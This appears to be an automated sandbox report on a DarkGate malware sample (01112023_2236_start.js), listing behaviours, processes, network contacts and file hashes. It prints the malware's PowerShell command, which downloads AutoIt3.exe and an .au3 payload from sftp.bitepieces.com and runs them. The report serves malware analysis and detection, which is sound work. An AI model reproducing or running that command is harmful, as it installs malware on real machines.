Analysis Overview
SHA256
b1c78d7293024f04bd2b4f48e5be730f852a7171c977b192b612cb215efa8fa5
Threat Level: Known bad
The file 01112023_2236_start.js was found to be: Known bad.
Malicious Activity Summary
DarkGate
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-01 14:36
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-01 14:36
Reported
2023-11-01 14:39
Platform
win7-20231023-en
Max time kernel
121s
Max time network
124s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1192 wrote to memory of 3028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 3028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1192 wrote to memory of 3028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msixkotmboi' -OutFile 'xkotmboi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'xkotmboi.au3'"
Network
Files
memory/3028-4-0x000000001B2B0000-0x000000001B592000-memory.dmp
memory/3028-5-0x0000000002460000-0x0000000002468000-memory.dmp
memory/3028-6-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp
memory/3028-7-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp
memory/3028-9-0x00000000027A0000-0x0000000002820000-memory.dmp
memory/3028-8-0x00000000027A0000-0x0000000002820000-memory.dmp
memory/3028-10-0x00000000027A0000-0x0000000002820000-memory.dmp
memory/3028-11-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-01 14:36
Reported
2023-11-01 14:39
Platform
win10v2004-20231023-en
Max time kernel
156s
Max time network
147s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1536 wrote to memory of 488 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1536 wrote to memory of 488 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 488 wrote to memory of 4684 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 488 wrote to memory of 4684 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 488 wrote to memory of 4684 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msixkotmboi' -OutFile 'xkotmboi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'xkotmboi.au3'"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" xkotmboi.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.177.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sftp.bitepieces.com | udp |
| US | 185.174.101.224:443 | sftp.bitepieces.com | tcp |
| US | 8.8.8.8:53 | 198.1.85.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.101.174.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| US | 185.174.101.224:443 | sftp.bitepieces.com | tcp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.21.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.105.26.67.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pr40m2p2.chg.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/488-9-0x000001EED8720000-0x000001EED8742000-memory.dmp
memory/488-10-0x00007FFE54C80000-0x00007FFE55741000-memory.dmp
memory/488-11-0x000001EED65A0000-0x000001EED65B0000-memory.dmp
memory/488-12-0x000001EED65A0000-0x000001EED65B0000-memory.dmp
memory/488-13-0x000001EED65A0000-0x000001EED65B0000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/488-27-0x00007FFE54C80000-0x00007FFE55741000-memory.dmp
C:\tepp\xkotmboi.au3
| MD5 | 4504ac54e258744525e8636a5c93a4fb |
| SHA1 | 60697a5ef3bd1ddcc3622223985ca1f014b42bdd |
| SHA256 | 3115be830309a4e99d9ca069e0157ee42b06268c89f4079e4925930bd3b64df9 |
| SHA512 | dfb6622ef4bfa7f0d408da396b9f33cb29f637ec37e52b0ec4e4d7b9fb9578d5b356ecc1b59f0b65dbaeec4a9d51133fd3e6ae4aa01285d706dd25037f8ba0a9 |
memory/4684-30-0x00000000016D0000-0x0000000001AD0000-memory.dmp
memory/4684-31-0x00000000047D0000-0x0000000004AFA000-memory.dmp
memory/4684-32-0x00000000047D0000-0x0000000004AFA000-memory.dmp